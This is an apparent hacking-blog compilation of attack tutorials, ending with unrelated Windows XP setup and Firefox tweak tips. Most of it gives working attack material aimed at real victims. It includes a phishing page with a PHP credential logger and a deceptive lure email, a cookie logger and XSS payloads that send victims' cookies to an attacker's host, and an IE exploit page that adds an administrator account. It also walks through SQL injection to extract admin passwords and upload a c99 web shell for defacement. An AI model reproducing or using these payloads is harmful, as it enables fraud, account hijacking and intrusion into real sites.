Phishing Tutorial

What is phishing?

Phishing is considered as fraudulent process through which the attacker tries to acquire the sensitive information of the victim such as login credentials(usernames,passwords),credit card details by masquerading as a trustworthy entity.The process of phishing is carried out by means of email and instant messaging.

Phishing directs the victim to a fake website that looks almost identical to the legitimate site where the user is prompted to enter his credentials.

In this tutorial i will show you how to create a fake page that saves the phished passwords to a text file in your server.

firstly select a site for which you want to create a fake page.The page that is selected should contain fields for entering login credentials.After you are done with it save the page to your computer as domainname.html(name of the domain)-->open the page-->right click on the page to view the source.

Now when the source page opens,you have to search for "action" by pressing CTRL+F.Now you will find

something like

CODE
<form id="loginform" action="https://www.site.com/accounts/login_
authenticate" method="post"
        onsubmit="return(LoginSubmit());">

Replace https://www.site.com/accounts/login_authenticate with mailer.php

To create a fake page we have to manipulated the page by changing the form action.Write the php code below to notepad and save it as mailer.php.

CODE
<?php
header ('Location: https://www.site.com/somelocation ');//*any location you want where the user is to be redirected*//
$handle = fopen("login.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>

The above code saves the usernames and passwords to a text file with name login.txt.

So create a blank text file with name login.txt.

Now upload all the three ie..,domainname.html,mailer.php,login.txt to any free webhost like blackapplehost.com or justfree.com.

Copy the URL of the domainname.html which has to be sent to the victim by email.

Now when you are done with the above the next important task is to convince the user to click the link and login.A sample email is shown below.

Dear User ,

We are having some problems with our servers , and we need to confirm each

and every email id now . We are really sorry for the inconvenience but its

very important for you to confirm your email address , if you do not confirm

your email address within 3 days , we may even have to close your account

Click On Your Confirmation Code to Confirm

<*a href="http://www.yourhost.com/domainname.html">:211512<*/a> (remove * in code)

After clicking on the code just enter your email ID and password and sign in.

Sorry For the inconvenience .

Regards ,

When the user clicks the link provided and enters the credentials the username and the password are stored in login.txt.This completes the phishing tutorial.

I forgot to mention one thing-create email id and the username in the free hosting site in such a way that the user should believe that the mail and fakepage URL is legitimate.

Cookie Stealing

What is a cookie?
A cookie known as a web cookie or http cookie is a small piece of text stored by the user browser.A cookie is sent as an header by the web server to the web browser on the client side.A cookie is static and is sent back by the browser unchanged everytime it accesses the server.
A cookie has a expiration time that is set by the server and are deleted automatically after the expiration time.
Cookie is used to maintain users authentication and to implement shopping cart during his navigation,possibly across multiple visits.

What can we do after stealing cookie?

Well,as we know web sites authenticate their user's with a cookie,it can be used to hijack the victims session.The victims stolen cookie can be replaced with our cookie to hijack his session.

Proof of Concept:

The cookie logger:

The following is a cookie stealing script which is to be stored in attacker's host.It recieves the cookie data and stores to a text file.

<?php

function GetIP()
{
if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
$ip = getenv("HTTP_CLIENT_IP");
else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
$ip = getenv("HTTP_X_FORWARDED_FOR");
else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
$ip = getenv("REMOTE_ADDR");
else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
$ip = $_SERVER['REMOTE_ADDR'];
else
$ip = "unknown";
return($ip);
}

function logData()
{
$ipLog="log.txt";
$cookie = $_SERVER['QUERY_STRING'];
$register_globals = (bool) ini_get('register_gobals');
if ($register_globals) $ip = getenv('REMOTE_ADDR');
else $ip = GetIP();

$rem_port = $_SERVER['REMOTE_PORT'];
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$rqst_method = $_SERVER['METHOD'];
$rem_host = $_SERVER['REMOTE_HOST'];
$referer = $_SERVER['HTTP_REFERER'];
$date=date ("l dS of F Y h:i:s A");
$log=fopen("$ipLog", "a+");

if (preg_match("/\bhtm\b/i", $ipLog) || preg_match("/\bhtml\b/i", $ipLog))
fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE{ : } $date | COOKIE: $cookie
");
else
fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE: $date | COOKIE: $cookie \n\n");
fclose($log);
}

logData();

?> 

Save the script as a cookielogger.php in your server.(Any free web hosting sites like justfree.com,x10hosting etc..)
Also create an empty text file and name it as log.txt and upload it.

Now we come to the hardest part where we have to inject a piece of javascript into sites html page,which the victims has to visit.We should now look for a place to post the javascript.

Look for user interactive sites which contain comments or forums.

Post the following code which invokes or activates the cookielogger on your host.

<script language="Javascript">
document.location="http://www.yourhost.com/cookielogger.php?cookie=" + document.cookie; 
</script> 

Your can also trick the victim into clicking a link that activates javascript.
Below is the code which has to be posted.

CODE
<a href="javascript:document.location=
'http://www.yourhost.com/cookielogger.php?cookie='
+document.cookie;">
Click here!</a>

Clicking an image also can activate the script.For this purpose you can use the below code.
CODE:

<a href="javascript:document.location=

'http://www.yourhost.com/cookielogger.php?cookie='

+document.cookie;">

<img src="URL OF THE IMAGE"/></a></center>

All the details like cookie,ipaddress,browser of the victim are logged in to log.txt in your host.

Hijacking the Session:

Now we have cookie,what to do with this..?
Download cookie editor mozilla plugin from here : https://addons.mozilla.org/en-US/firefox/addon/573/

Go to the target site-->open cookie editor-->Replace the cookie with the stolen cookie of the victim and refresh the page.Thats it!!!you should now be in his account.

Cross Site Scripting (XSS)

Cross site scripting is an attack performed on the embedded scripts in a page that get executed on client-side but not on server side.it is the process of injecting Javascript and html for the purpose of stealing critical information like user credentials and important details of the person.The stolen information includes user's cookies and login information mainly.

A cookie is a variable that is used to store login credentials and to keep the user logged in.Whenever your cookies are cleared you can no longer stay logged in any site.On a php powered page the cookie looks like PHPSESSID.Whenever a webpage uses PHPSESSID to authenticate its users,the cookie can be stolen using cross site scripting attack.In this way the attacker can spoof using one cookie and hijack his session.

XSS can be considered as a dangerous exploit as most of the web pages are user interactive.For the purpose of interaction the webpage provides fields for comments,search and even feedback.90% percent of user interactive websites are vunerable to this type of attack though some percentage of sites have a high risk of exploitation.

For testing XSS you can inject the script like <h1>welcome</h1> or <script>alert(hello)</script> into search fields,comment fields and feedback forms.If you find the output of the page which looks like a large heading that reads welcome or an alertbox that say's hello

.

To give it a try ,click the link http://testasp.vulnweb.com/Search.asp

Insert the below codes:

code 1: <h1>XSSED</h1>

code 2: <script>alert("XSSED")</script>

code 3: <img src="URL OF THE IMAGE"></img>

code 4: <br><br>Login to proceed:<form action="destination.asp"><table><tr><td>Login:</td><td><input type=text length=10 name=login></td></tr><tr><td>Password:</td><td><input type=text length=10 name=password></td></tr></table><input type=submit value=LOGIN></form>

Where the destination.asp can be script that stores the data entered in the fields.

This code can be injected directly into the url as follows:
http://testasp.vulnweb.com/Search.asp?tfSearch=%3Cbr%3E%3Cbr%3EPlease+login+with+
the+form+below+before+proceeding%3A%3C form+action%3D%22test.asp%22%3E%3C
table%3E%3Ctr%3E%3Ctd%3ELogin%3A%3C%2Ftd%3E%3Ctd%3E%3Cinput+type%3D
text+ length%3D20+name%3Dlogin%3E%3C%2Ftd%3E%3C%2Ftr%3E%3Ctr%3E%3C
td%3EPassword%3A%3C%2Ftd%3E%3Ctd%3E%3Cinput +type%3Dtext+length%3D20
+name%3Dpassword%3E%3C%2Ftd%3E%3C%2Ftr%3E%3C%2Ftable%3E%3Cinput
+type%3Dsubmit+value %3DLOGIN%3E%3C%2Fform%3E

code 5: <script>alert(document.cookie)</script>

To find the vunerable pages we can use some XSS dorks like "inurl:search.php?q="

inurl:com_feedpostold/feedpost.php?url=

inurl:scrapbook.php?id=

inurl:headersearch.php?sid=

inurl:/poll/default.asp?catid=

inurl:/search_results.php?search=

/preaspjobboard//Employee/emp_login.asp?msg1=

pages/match_report.php?mid= pages/match_report.php?mid=

Type any of the dorks into google and input the codes given.

One of the important concept to be discussed is cookie stealing.
For cookie stealing tutorial click here.

Remote Code Execution-Internet explorer

This is a remote user adding exploit.The code below adds a user:user123 with password:hacker and gives administrator privileges.

CODE

<html>
<title> Install Addon </title>

<p>
<object classid='clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8' id='exploit'></object>
<script language='vbscript'>
adduser="cmd /c net user user123 hacker /add && net localgroup Administrators user123 /add"
exploit.run adduser
</script>
</p>

</html>

Upload it to any free web hosting site and provide the link to the victim to execute it remotely.
This exploit is tested in Windows XP IE version 6 and 7.

Defacing websites-Tutorial

SQL Injection


Finding vunerability:
First of all we need a vunerable site as you all know

To find a vunerable site open google

Type in a dork like "inurl:index.php?id=" (without quotes)


Now click on any site like www.site.com/index.php?id=786

To test the vunerability of the site add a ' at the end of the site

If the site gives an error like

"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'84' at line 1"

we can assume that it is vunerable.
Checking the number of columns:
To check the number of columns we do the following

www.site.com/index.php?id=-786 order by 1-- if the page loads normally without any error we proceed below
www.site.com/index.php?id=-786 order by 2-- (no error)
similarly check
www.site.com/index.php?id=-786 order by 3--
www.site.com/index.php?id=-786 order by 4--
www.site.com/index.php?id=-786 order by 5--
www.site.com/index.php?id=-786 order by 6-- =>error

if we get an error at the 6 like "unknown column" that means there exists only 5 columns.
Finding vunerable columns:
To find the vunerable columns we add union all select 1,2,3,4,5-- after www.site.com/index.php?id=-786

NOw the url becomes

www.site.com/index.php?id=-786 union all select 1,2,3,4,5--

after hitting enter we if we see some numbers like 2 4 some where on the page.Then the columns 2 and 3 are vunerable and data can be retrieved from colums 2 and 4

Finding Mysql version:
To find the sql version we replace 2 or 4 with @@version.
Now the url looks like

www.site.com/index.php?id=-786 union all select 1,@@version,3,4,5--

After hitting enter the sql version appears on the page

Lets assume we got 5.0.90-community-log on page which is sql version.
Getting Table names:
To get table names remove @@version from the url and replace it with table_name.

The url now becomes

www.site.com/index.php?id=-786 union all select 1,table_name,3,4,5 from information_schema.tables--

After hitting enter the page shows the tablenames.

Lets us assume we got something like this

comment,log,admin,news,news_comment,members.
To take over the site we data should be retrieved from admin table.
Getting the column names:
To get the column names from the table admin we do the following

www.site.com/index.php?id=-786 union all select 1,column_name,3,4,5 from information_schema.columns where table_name=char(ascii of tablename)--
Converting the tablename to ascii:
Convert the tablename to ascii here

http://www.getyourwebsitehere.com/jswb/text_to_ascii.html

The ascii generated for the table name admin is & #97;&# 100;&# 109;&# 105;&# 110;

Now remove &# and add a , between them

So now it is 97,100,109,105,110

Replace it in the place of ascii of the tablename

Now it is

www.site.com/index.php?id=-786 union all select 1,column_name,3,4,5 from information_schema.columns where table_name=char(97,100,109,105,110)--

You can now see something like

username pwd gender email on page
Getting username and password:
To get the username and password we use

www.site.com/index.php?id=-786 union all select 1,concat(username,0x3a,pwd),3,4,5 from admin-- and hit enter.

At this point we see username and password on page.

In some websites passwords are MD5 encrypted.Decrypt the passwords at www.md5decrypter.co.uk/ or http://www.milw0rm.com/cracker/insert.php

Finding Admin panel:
To find the admin panel use admin panel finder.Download it from here:
http://www.megaupload.com/?d=066ONRML

Uploading shell:
After logging in as administrator you can upload a shell.its gives us access to all the files.

Download c99 shell from here : http://www.zarabyte.com/dl/c99.rar

extract the text file and name it as c99.php and upload it.

If the site does not allow you to upload a .php file,then rename it as c99.php.gif and then upload it.

or else you can even upload a fileuploader to bypass upload limits of the site and then upload the c99 shell.

Download fileuploader from here: http://www.zarabyte.com/dl/uploader.rar

After uploading you have to navigate to it and click it to activate.Then you can see a page showing all the files on the server.

Next you have to search for index.html and replace it with your customized html file.

Now check the homepage.The index.html file which u uploaded appears as the mainpage.This is what Defacing is.

Disclaimer:I am not responsible for any kind of damage you cause by misusing this information.This is for educational purposes only.

Setup windows xp faster

Setup windows XP in just 25 minutes

After setup copies windows files

Then you can see the image below
















At this point we have to bring taskmanager to set the prority of the setup process

So we press shift+F10 to bring the cmdprompt

Then to open taskmanager we have to type in taskmgr

Press enter

Taskmanager appears.Now go to processes

Find setup.exe

Right click and set its priority to High

Now watch setup completes in just 10-12 minutes from this point

Tweak firefox to make it faster

To do this goto firefox

In the address bar type about:config

Then press enter

Then a message appears like "this might void your warranty"

and a button "I ill be careful,i promise"

click it

Search for

network.http.pipelining
network.http.proxy.pipelining
network.http.pipelining.maxrequests

Now you have to enable pipelining

Double click on network.http.pipelining to make it true

Do the same for network.http.proxy.pipelining

Now for http.pipelining.maxrequests

Double click it and change the value from 0 to 30






By this the browser makes 30 requests to the webpage as a result of which the page loads faster than before.

Now we have to create a new intezer

Right click any where and select new intezer

nglayout.initialpaint.delay

set its value to 0

This is the amount of delay the browser waits before it acts get the data

Thats it.Now close firefox and restart it for the changes to work